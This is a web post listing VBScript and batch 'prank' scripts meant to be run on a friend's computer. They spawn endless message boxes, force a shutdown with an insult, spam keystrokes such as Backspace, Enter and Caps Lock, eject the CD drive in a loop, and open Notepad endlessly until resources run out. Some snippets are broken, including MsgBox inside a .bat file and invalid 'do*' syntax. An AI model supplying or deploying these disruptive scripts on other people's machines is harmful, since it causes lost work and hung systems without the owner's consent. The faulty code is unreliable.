VBS pranks
A lot of VBS pranks to do on your friends computer or at your own ;)
Make a message box that appear on the screen.
do*
MsgBox (" Type here the text that you want.")
loop*
*If you set 'do and loop', the message box appear again and again ...
Save it as Anything.vbs
Convey a little mesage box and shutdown the computer
@echo off
MsgBox ("I don't like you !!!")
shutdown -c "Error! You are too ******!" -s
Save it as Anything.bat
Toggle the Caps Lock button cintinuously
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as Anything.vbs
Continoually Pop Out the CD drive
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as Anything.vbs
Hit Backspace continually
MsgBox ("Let's go back a few steps !!!")
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as Anything.vbs
Let the keyboard type "You are a fool." continuously
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as Anything.vbs
Start Notepad cintinuously
@echo off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Make a Disco on your keyboard
This trick uses a simple Visual basic script which when activated makes your scroll lock, caps lock and num locks LED's flash in a cool rhythmic way which gives the perception of a live disco on your keyboard.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
Save it as Anything.vbs
Hit Enter continuously
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as Anything.vbs